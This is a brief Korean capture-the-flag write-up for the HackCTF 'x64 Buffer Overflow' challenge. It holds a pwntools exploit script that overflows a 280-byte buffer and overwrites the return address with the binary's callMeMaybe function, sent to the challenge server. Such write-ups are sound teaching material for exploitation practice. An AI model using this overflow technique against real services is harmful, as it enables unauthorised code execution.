HackCTF - x64 Buffer Overflow

 

간단하게 ret 위치에 callMeMaybe 를 쓰면 된다

 

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3004)
e = ELF('./64bof_basic')

payload = 'A'*280
payload += p64(e.sym['callMeMaybe'])

r.sendline(payload)

r.interactive()